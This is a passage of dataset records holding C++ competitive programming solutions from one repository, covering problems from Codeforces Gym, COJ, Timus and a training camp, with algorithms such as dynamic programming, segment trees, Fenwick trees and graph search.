"eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n, k;\nint up[N];\nint down[N];\nint pos[N];\n\nint next[35][N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n >> k;\n\tfor (int i = 1; i <= n; i++) {\n\t\tcin >> up[i] >> down[i];\n\t\tpos[up[i]] = i;\n\t}\n\tfor (int i = 1; i <= n; i++) {\n\t\tnext[0][i] = pos[down[i]];\n\t}\n\tfor (int i = 1; i <= 30; i++) {\n\t\tfor (int x = 1; x <= n; x++) {\n\t\t\tnext[i][x] = next[i - 1][next[i - 1][x]];\n\t\t}\n\t}\n\tfor (int i = 1; i <= k; i++) {\n\t\tint x, t;\n\t\tcin >> x >> t;\n\t\tfor (int i = 0; i <= 30; i++) {\n\t\t\tif (t & (1 << i)) {\n\t\t\t\tx = next[i][x];\n\t\t\t}\n\t\t}\n\t\tcout << x << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.33868974447250366, "alphanum_fraction": 0.40296661853790283, "avg_line_length": 14.510204315185547, "blob_id": "76a1c30b3be95a7a367f93b458f8327afb895e8a", "content_id": "9838ccb4f65fbed376650abe3047f2eaf915e00f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 809, "license_type": "no_license", "max_line_length": 39, "num_lines": 49, "path": "/COJ/eliogovea-cojAC/eliogovea-p3766-Accepted-s1068712.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\nconst int N = 1000;\r\n\r\nint dp[5][N + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tdp[0][0] = 1;\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tif (dp[0][i]) {\r\n\t\t\tadd(dp[1][i + 1], dp[0][i]);\r\n\t\t\tadd(dp[2][i + 1], dp[0][i]);\r\n\t\t\tadd(dp[0][i + 1], dp[0][i]);\r\n\t\t\tadd(dp[0][i + 2], dp[0][i]);\r\n\t\t}\r\n\t\tif (dp[1][i]) {\r\n\t\t\tadd(dp[0][i + 2], dp[1][i]);\r\n\t\t\tadd(dp[2][i + 1], dp[1][i]);\r\n\t\t}\r\n\t\tif (dp[2][i]) {\r\n\t\t\tadd(dp[0][i + 2], dp[2][i]);\r\n\t\t\tadd(dp[1][i + 1], dp[2][i]);\r\n\t\t}\r\n\t}\r\n\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tint n;\r\n\t\tcin >> n;\r\n\t\tcout << dp[0][n] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.42954158782958984, "alphanum_fraction": 0.45104697346687317, "avg_line_length": 22.8873233795166, "blob_id": "a000ae18ff2c17c2adfb43c0adf773007a4e66bb", "content_id": "2c541b6dcd068e1f6b24d2b9a7915a2216634a40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1767, "license_type": "no_license", "max_line_length": 71, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p2921-Accepted-s625608.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int MAXN = 200005;\r\n\r\nstruct pt {\r\n\tdouble x, y;\r\n\tpt() {}\r\n\tpt(double xx, double yy) : x(xx), y(yy) {}\r\n\tbool operator < (const pt &P) const {\r\n\t\tif (x != P.x) return x < P.x;\r\n\t\treturn y < P.y;\r\n\t}\r\n};\r\n\r\npt pts[MAXN];\r\n\r\nvector<double> T[MAXN << 2];\r\n\r\nvoid build(int nod, int lo, int hi) {\r\n\tT[nod].resize(hi - lo);\r\n\tif (lo + 1 == hi) T[nod][0] = pts[lo].y;\r\n\telse {\r\n\t\tint mid = (lo + hi) >> 1, L = nod << 1, R = L + 1;\r\n\t\tbuild(L, lo, mid);\r\n\t\tbuild(R, mid, hi);\r\n\t\tmerge(T[L].begin(), T[L].end(),\r\n T[R].begin(), T[R].end(),\r\n T[nod].begin());\r\n\t}\r\n}\r\n\r\nint query(int nod, int lo, int hi, double x, double y) {\r\n\tif (pts[lo].x > x) return 0;\r\n\tif (pts[hi - 1].x <= x)\r\n\t\treturn upper_bound(T[nod].begin(), T[nod].end(), y) - T[nod].begin();\r\n\tint mid = (lo + hi) >> 1, L = nod << 1, R = L + 1;\r\n\treturn query(L, lo, mid, x, y) + query(R, mid, hi, x, y);\r\n}\r\n\r\ndouble dist(pt &a, pt &b) {\r\n\treturn sqrt((a.x - b.x) * (a.x - b.x) + (a.y - b.y) * (a.y - b.y));\r\n}\r\n\r\nint n, q, cas;\r\npt ca, cb, aux;\r\ndouble X, Y;\r\n\r\nint main() {\r\n\twhile (scanf(\"%d\", &n) && n) {\r\n\t\tprintf(\"Case %d:\\n\", ++cas);\r\n\t\tfor (int i = 0; i < n; i++) scanf(\"%lf%lf\", &pts[i].x, &pts[i].y);\r\n\t\tscanf(\"%lf%lf%lf%lf%d\", &ca.x, &ca.y, &cb.x, &cb.y, &q);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\taux = pts[i];\r\n\t\t\tpts[i].x = dist(aux, ca);\r\n\t\t\tpts[i].y = dist(aux, cb);\r\n\t\t}\r\n\t\tsort(pts, pts + n);\r\n\t\tbuild(1, 0, n);\r\n\t\twhile (q--) {\r\n\t\t\tscanf(\"%lf%lf\", &X, &Y);\r\n\t\t\tint com = query(1, 0, n, X, Y),\r\n p1 = query(1, 0, n, X, 1e10),\r\n p2 = query(1, 0, n, 1e10, Y),\r\n out = n - p1 - p2 + com;\r\n\t\t\tif (out <= com) printf(\"0\\n\");\r\n\t\t\telse printf(\"%d\\n\", out - com);\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.428846150636673, "alphanum_fraction": 0.4634615480899811, "avg_line_length": 15.433333396911621, "blob_id": "3e51f030425849d2e15e6843a967c8083711e98e", "content_id": "f6b2e97d112f5a2307e653d0387be02251fd9138", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 520, "license_type": "no_license", "max_line_length": 47, "num_lines": 30, "path": "/Timus/1021-6291330.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1021\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\n\r\nint sa, sb, a[N], b[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> sa;\r\n\tfor (int i = 0; i < sa; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tsort(a, a + sa);\r\n\tcin >> sb;\r\n\tbool ok = false;\r\n\tfor (int i = 0; i < sb; i++) {\r\n\t\tcin >> b[i];\r\n\t\tif (!ok) {\r\n\t\t\tint tmp = 10000 - b[i];\r\n\t\t\tok |= (*lower_bound(a, a + sa, tmp) == tmp);\r\n\t\t}\r\n\t}\r\n\tcout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37252312898635864, "alphanum_fraction": 0.4002642035484314, "avg_line_length": 19.02777862548828, "blob_id": "48bfedceeaaf0ede799991d575faefcdb4e6a426", "content_id": "01403a70d574dc80499f0bb403966bf1ecc8b2d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 757, "license_type": "no_license", "max_line_length": 57, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p3599-Accepted-s994777.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tstring s;\r\n\tcin >> s;\r\n\tint n = s.size();\r\n\tvector <vector <bool> > dp(n, vector <bool> (n, false));\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdp[i][i] = true;\r\n\t}\r\n\tfor (int i = 0; i + 1 < n; i++) {\r\n\t\tdp[i][i + 1] = true;\r\n\t}\r\n\tfor (int l = 3; l <= n; l++) {\r\n\t\tfor (int x = 0; x + l - 1 < n; x++) {\r\n\t\t\tint y = x + l - 1;\r\n\t\t\tint sum1 = s[x] - '0' + s[y] - '0';\r\n\t\t\tint sum2 = s[x + 1] - '0' + s[y - 1] - '0';\r\n\t\t\tif (dp[x + 1][y - 1] && sum1 == sum2) {\r\n\t\t\t\tdp[x][y] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint q;\r\n\tcin >> q;\r\n\twhile (q--) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tcout << (dp[x][y] ? \"yes\" : \"no\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4166666567325592, "alphanum_fraction": 0.4613095223903656, "avg_line_length": 17.764705657958984, "blob_id": "786505743610b9ce3446268384112440277fd10f", "content_id": "bcca69a81de6dad5c9b580b4e33b92250221a2d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 336, "license_type": "no_license", "max_line_length": 74, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p3127-Accepted-s761063.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, ans;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\tfor (int i = 1; i <= tc; i++) {\r\n cin >> n;\r\n\t\tans = 1 + (int)(log10(2.0 * M_PI * sqrt(2.0)) + (1.0 + n) * log10(1.5));\r\n\t\tcout << \"Case \" << i << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37829911708831787, "alphanum_fraction": 0.41055718064308167, "avg_line_length": 18.058822631835938, "blob_id": "50db54736d7fb6ecff5228420c92e04ce4b44f45", "content_id": "2376ea9679606eb4d29c0b6f976a62ebc68de4d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 682, "license_type": "no_license", "max_line_length": 67, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p1500-Accepted-s496187.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<limits.h>\r\n#include<vector>\r\nusing namespace std;\r\n\r\nvector<int>c;\r\nint a[11],dp[101],dp1[101],n;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=10; i++)scanf(\"%d\",&a[i]);\r\n scanf(\"%d\",&n);\r\n\r\n for(int i=1; i<=n; i++)dp[i]=INT_MAX;\r\n\r\n for(int i=1; i<=10; i++)\r\n for(int j=i; j<=n; j++)\r\n if(dp[j]>=dp[j-i]+a[i])\r\n {\r\n dp[j]=dp[j-i]+a[i];\r\n dp1[j]=i;\r\n }\r\n\r\n int k=n;\r\n while(k)\r\n {\r\n c.push_back(dp1[k]);\r\n k-=dp1[k];\r\n }\r\n for(int i=c.size()-1; i>=0; i--)printf(\"%d %d\\n\",c[i],a[c[i]]);\r\n printf(\"%d\\n\",dp[n]);\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.35202863812446594, "alphanum_fraction": 0.3782816231250763, "avg_line_length": 14.792452812194824, "blob_id": "1760c088ef1e32f4606f7d6d884e0993947a6abd", "content_id": "483f82d82b5653cfb26f99d9be46e652c5499941", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 838, "license_type": "no_license", "max_line_length": 54, "num_lines": 53, "path": "/Caribbean-Training-Camp-2018/Contest_1/Solutions/D1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 100100;\n\ntypedef long long ll;\n\nint n;\nvoid add( ll *bit, int p, ll upd ){\n //cerr << \"add \" << p << \" \" << upd << '\\n';\n\n while( p <= n ){\n bit[p] += upd;\n p += ( p & -p );\n }\n}\n\nll get( ll *bit, int p ){\n ll re = 0;\n while( p > 0 ){\n re += bit[p];\n p -= (p & -p);\n }\n return re;\n}\n\nll B1[MAXN], B2[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n;\n\n ll sol = 0;\n\n for( int i = 1; i <= n; i++ ){\n ll x; cin >> x;\n if( i > 2 ){\n sol += get(B2 , n) - get( B2 , x );\n }\n\n add( B2 , x , get( B1 , n ) - get( B1 , x ) );\n add( B1 , x , 1 );\n\n //cerr << sol << '\\n';\n }\n\n cout << sol << '\\n';\n}\n\n" }, { "alpha_fraction": 0.33549222350120544, "alphanum_fraction": 0.3834196925163269, "avg_line_length": 19.3157901763916, "blob_id": "e9d4ef4412162e65d6fada9c71708cd37afa428b", "content_id": "fc1f60811d4ce4482732cc657bfb3d05efa68228", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 772, "license_type": "no_license", "max_line_length": 58, "num_lines": 38, "path": "/Codeforces-Gym/100513 - 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100513I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint dp[1000000];\nint l[5000];\nint main()\n{\n ios::sync_with_stdio(0);\n cin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin );\n int n;\n cin >> n;\n int p = 0;\n for( int i = 0; i < n; i++ ){\n cin >> l[i];\n if( l[p] < l[i] )\n p = i;\n }\n dp[0] = 1;\n for( int i = 0; i < n; i++ ){\n if( i == p )\n continue;\n int c = l[i];\n for( int j = l[p] - c; j >= 0; j-- ){\n if( dp[j]+1 > dp[j + c ] ){\n dp[j+c] = dp[j]+1;\n }\n }\n }\n int sol = 0;\n for( int i = 0; i <= l[p]; i++ )\n sol = max( sol, dp[i] );\n cout << sol << '\\n';\n\n}\n" }, { "alpha_fraction": 0.408023476600647, "alphanum_fraction": 0.4256359934806824, "avg_line_length": 15.372880935668945, "blob_id": "7e3afa87f406b77900eb5034f448a4aa73173c3a", "content_id": "d017f2adedb2b27e4398eb19b5ffb4ff5105ca7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1022, "license_type": "no_license", "max_line_length": 45, "num_lines": 59, "path": "/Timus/1052-6291458.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1052\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct pt {\r\n\tint x, y;\r\n\tpt() {}\r\n\tpt(int xx, int yy) : x(xx), y(yy) {}\r\n};\r\n\r\nbool operator < (const pt &a, const pt &b) {\r\n\tif (a.x != b.x) {\r\n\t\treturn a.x < b.x;\r\n\t}\r\n\treturn a.y < b.y;\r\n}\r\n\r\nint n;\r\npt pts[205];\r\n\r\nmap<pt, int> m;\r\nmap<pt, int>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> pts[i].x >> pts[i].y;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tm.clear();\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (j == i) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tint dx = pts[j].x - pts[i].x;\r\n\t\t\tint dy = pts[j].y - pts[i].y;\r\n\t\t\tint g = __gcd(abs(dx), abs(dy));\r\n\t\t\tdx /= g;\r\n\t\t\tdy /= g;\r\n\t\t\tif (dx < 0 || (dx == 0 && dy < 0)) {\r\n\t\t\t\tdx = -dx;\r\n\t\t\t\tdy = -dy;\r\n\t\t\t}\r\n\t\t\tm[pt(dx, dy)]++;\r\n\t\t}\r\n\t\tfor (it = m.begin(); it != m.end(); it++) {\r\n\t\t\tif (1 + it->second > ans) {\r\n\t\t\t\tans = 1 + it->second;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3265993297100067, "alphanum_fraction": 0.36251401901245117, "avg_line_length": 19.214284896850586, "blob_id": "9979909afcb14341bd828c5fd85236f391f3bb77", "content_id": "7d425ca2f2d2687f6adda7313fc3a7dec7d3fe88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 891, "license_type": "no_license", "max_line_length": 78, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p2935-Accepted-s691212.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2935.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n#include <cmath>\r\n\r\nconst int N = 1000001;\r\n\r\nint f[15];\r\ndouble cd[12][N + 5];\r\n\r\nint solve(int n, int b) {\r\n\tif (n < 10) {\r\n\t\tn = f[n + 1] - 1;\r\n\t\tint ans = log(n) / log(b);\r\n\t\tans++;\r\n\t\treturn ans;\r\n\t}\r\n\tint ans = cd[b][n + 1];\r\n\tans++;\r\n\treturn ans;\r\n}\r\n\r\nint tc, n, b;\r\n\r\nint main() {\r\n\tf[0] = 1;\r\n\tfor (int i = 1; i <= 10; i++) f[i] = f[i - 1] * i;\r\n\tfor (int i = 2; i <= 10; i++)\r\n\t\tfor (int j = 2; j <= N; j++)\r\n\t\t\tcd[i][j] = cd[i][j - 1] + log(j) / log(i);\r\n\tscanf(\"%d\", &tc);\r\n\twhile (tc--) {\r\n\t\tscanf(\"%d%d\", &n, &b);\r\n\t\tprintf(\"%d\\n\", solve(n, b));\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4722222089767456, "alphanum_fraction": 0.5015432238578796, "avg_line_length": 17.147058486938477, "blob_id": "0fe57a7a1231781502e663fbac7760a5bfb72c41", "content_id": "f95f9d0ffacb4cd9813abd2291c8b41489806ab3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 648, "license_type": "no_license", "max_line_length": 34, "num_lines": 34, "path": "/Timus/1020-6209585.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1020\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint n;\r\ndouble r;\r\ndouble x[105], y[105];\r\ndouble ans = 0.0;\r\n\r\ninline double dist(int i, int j) {\r\n\tdouble dx = x[i] - x[j];\r\n\tdouble dy = y[i] - y[j];\r\n\treturn sqrt(dx * dx + dy * dy);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(false);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n >> r;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint next = (i + 1) % n;\r\n\t\tans += dist(i, next);\r\n\t}\r\n\tans += 2.0 * M_PI * (double)r;\r\n\tcout.precision(2);\r\n\tcout << fixed << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3397085666656494, "alphanum_fraction": 0.35245901346206665, "avg_line_length": 17.96363639831543, "blob_id": "26d6649bf96708087f12f6f691f66861a7ac28f8", "content_id": "9b8914339b20eea3e8d8f8b79843d976c65fc9f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1098, "license_type": "no_license", "max_line_length": 72, "num_lines": 55, "path": "/COJ/eliogovea-cojAC/eliogovea-p2639-Accepted-s537271.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#define MAXN 250010\r\nusing namespace std;\r\n\r\ntypedef vector<int>::iterator viit;\r\n\r\nvector<int> G[MAXN];\r\nint td[MAXN],low[MAXN],V,E,x,y,k,ans,c;\r\nbool mark[MAXN];\r\nvoid DFS(int);\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d%d\",&V,&E);\r\n for(int i=1; i<=V; i++)\r\n {\r\n G[i].clear();\r\n low[i]=td[i]=mark[i]=k=ans=0;\r\n }\r\n for(int i=0; i<E; i++)\r\n {\r\n scanf(\"%d%d\",&x,&y);\r\n G[x].push_back(y);\r\n G[y].push_back(x);\r\n }\r\n DFS(1);\r\n printf(\"%d\\n\",ans);\r\n }\r\n}\r\n\r\nvoid DFS(int x)\r\n{\r\n td[x]=low[x]=++k;\r\n\r\n for(viit i=G[x].begin(); i!=G[x].end(); i++)\r\n {\r\n if(!td[*i])\r\n {\r\n DFS(*i);\r\n\r\n low[x]=min(low[x],low[*i]);\r\n\r\n if(!mark[x])\r\n if((td[x]!=1 && td[x]<=low[*i])||(td[x]==1 && td[*i]>2))\r\n {\r\n mark[x]=1;\r\n ans++;\r\n }\r\n }\r\n else low[x]=min(low[x],td[*i]);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.40666666626930237, "alphanum_fraction": 0.4449999928474426, "avg_line_length": 16.18181800842285, "blob_id": "c92d3a52a48d060b77417275987bdfbc577daf80", "content_id": "f06b73c771fd9abadb5547db39e8221aa35609a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 600, "license_type": "no_license", "max_line_length": 126, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p3480-Accepted-s909030.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000;\r\n\r\nconst int N = 1500;\r\n\r\nint f[N + 5];\r\nlong long sum[N + 5];\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tf[1] = 1;\r\n\tf[2] = 1;\r\n\tsum[1] = 1;\r\n\tsum[2] = 2;\r\n\tfor (int i = 3; i <= N; i++) {\r\n\t\tf[i] = (f[i - 1] + f[i - 2]) % MOD;\r\n\t\tsum[i] = sum[i - 1] + f[i];\r\n\t}\r\n\tint t;\r\n\tlong long a, b;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> a >> b;\r\n\t\ta--;\r\n\t\tlong long ans = (b / (long long)N) * sum[N] + sum[b % (long long)N] - ((a / (long long)N) * sum[N] + sum[a % (long long)N]);\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.28082525730133057, "alphanum_fraction": 0.30752426385879517, "avg_line_length": 26.105262756347656, "blob_id": "cf10f448216d06f0e6a7f69bcd38ebd4b90585ce", "content_id": "7f3d846f7cf87b9175e3e748b1e79df3b0d7cd90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4120, "license_type": "no_license", "max_line_length": 219, "num_lines": 152, "path": "/Codeforces-Gym/101174 - 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC Southwestern European Regional Programming Contest (SWERC 2016)\n// 101174D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long double LD;\n\nint n, d, c;\nbool ca[55], cb[55];\n\nint hashVal[55][55][55];\nint xa[1000], xb[1000], xab[1000];\n\nLD comb[55][55];\n\nLD P[1000][1000];\nLD invP[1000][1000];\n\nvoid invert(int n) {\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n invP[i][j] = 0.0;\n }\n invP[i][i] = 1;\n }\n for (int i = 0; i < n; i++) {\n int id = i;\n for (int j = i + 1; j < n; j++) {\n if (abs(P[j][i]) > abs(P[id][i])) {\n id = j;\n }\n }\n for (int j = 0; j < n; j++) {\n swap(P[i][j], P[id][j]);\n swap(invP[i][j], invP[id][j]);\n }\n double x = P[i][i];\n for (int j = 0; j < n; j++) {\n P[i][j] /= x;\n invP[i][j] /= x;\n }\n for (int j = 0; j < n; j++) {\n if (j != i) {\n double x = P[j][i];\n for (int k = 0; k < n; k++) {\n P[j][k] -= P[i][k] * x;\n invP[j][k] -= invP[i][k] * x;\n }\n }\n }\n }\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n >> d >> c;\n for (int i = 0; i < c; i++) {\n int x;\n cin >> x;\n ca[x] = true;\n }\n\n for (int i = 0; i < c; i++) {\n int x;\n cin >> x;\n cb[x] = true;\n }\n\n int A = 0;\n int B = 0;\n int AB = 0;\n for (int i = 1; i <= n; i++) {\n if (ca[i] && !cb[i]) {\n A++;\n } else if (!ca[i] && cb[i]) {\n B++;\n } else if (ca[i] && cb[i]) {\n AB++;\n }\n }\n\n int curVal = 0;\n for (int a = 0; a <= A; a++) {\n for (int b = 0; b <= B; b++) {\n for (int ab = 0; ab <= AB; ab++) {\n xa[curVal] = a;\n xb[curVal] = b;\n xab[curVal] = ab;\n hashVal[a][b][ab] = curVal++;\n }\n }\n }\n\n\n for (int i = 0; i <= n; i++) {\n comb[i][0] = comb[i][i] = 1.0;\n for (int j = 1; j < i; j++) {\n comb[i][j] = comb[i - 1][j - 1] + comb[i - 1][j];\n }\n }\n\n for (int a = 0; a <= A; a++) {\n for (int b = 0; b <= B; b++) {\n for (int ab = 0; ab <= AB; ab++) {\n if (ab == AB && (a == A || b == B)) {\n continue;\n }\n for (int da = 0; a + da <= A; da++) {\n for (int db = 0; b + db <= B; db++) {\n for (int dab = 0; ab + dab <= AB; dab++) {\n if (d - da - db - dab < 0 || d - da - db - dab > n - (A - a) - (B - b) - (AB - ab)) {\n P[hashVal[a][b][ab]][hashVal[a + da][b + db][ab + dab]] = 0.0;\n } else {\n P[hashVal[a][b][ab]][hashVal[a + da][b + db][ab + dab]] = comb[A - a][da] * comb[B - b][db] * comb[AB - ab][dab] * comb[n - (A - a) - (B - b) - (AB - ab)][d - da - db - dab] / comb[n][d];\n //cerr << \"-->>> \" << hashVal[a][b][ab] << \" \" << hashVal[a + da][b + db][ab + dab] << \" \" << P[hashVal[a][b][ab]][hashVal[a + da][b + db][ab + dab]] << \"\\n\";\n //cerr << \"--->> \" << comb[A - a][da] << \" \" << comb[B - b][db] << \" \" << comb[] << \"\\n\";\n }\n\n }\n }\n }\n }\n }\n }\n\n for (int i = 0; i < curVal; i++) {\n for (int j = 0; j < curVal; j++) {\n if (i != j) {\n P[i][j] = -P[i][j];\n } else {\n P[i][j] = 1.0 - P[i][j];\n }\n }\n }\n\n invert(curVal);\n LD answer = 0.0;\n for (int i = 0; i < curVal; i++) {\n if (xab[i] == AB && (xa[i] == A || xb[i] == B)) {\n continue;\n }\n answer += invP[0][i];\n }\n cout.precision(15);\n cout << fixed << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.3296875059604645, "alphanum_fraction": 0.36250001192092896, "avg_line_length": 15.777777671813965, "blob_id": "865aedf530117878e24dc0412b443e4dce25268f", "content_id": "9077f5bb2cae13dde0acc2835dc2cce0ec8d281c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 640, "license_type": "no_license", "max_line_length": 64, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2733-Accepted-s587684.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <cmath>\r\n\r\nchar str[1000];\r\n\r\nint main()\r\n{\r\n\tint n;\r\n\tfor (scanf(\"%d\", &n); n--;)\r\n\t{\r\n\t\tint cant = 0;\r\n\t\tscanf(\"%s\", str);\r\n\t\tint a = 0;\r\n\t\tbool b = true;\r\n\t\t\r\n\t\tfor (char *p = str; *p; p++)\r\n\t\t{\r\n\t\t\tif (*p != '.' &&( *p < '0' || *p > '9') ) {b = false; break;}\r\n\t\t\tif( *p == '.' && *(p+1) == '.' ) {b = false; break;}\r\n\t\t\tif (*p == '.')\r\n\t\t\t{\r\n\t\t\t\tif (a > 255) {b = false; break;}\r\n\t\t\t\tcant++;\r\n\t\t\t\t//printf(\"---%d\\n\", a);\r\n\t\t\t\ta = 0;\r\n\r\n\t\t\t}\r\n\t\t\telse a = 10 * a + *p - '0';\r\n\r\n\t\t}\r\n\t\tif (a > 255) {b = false;}\r\n\t\tcant++;\r\n\t\tif (b && (cant == 4 || cant == 6)) printf(\"SI\\n\");\r\n\t\telse 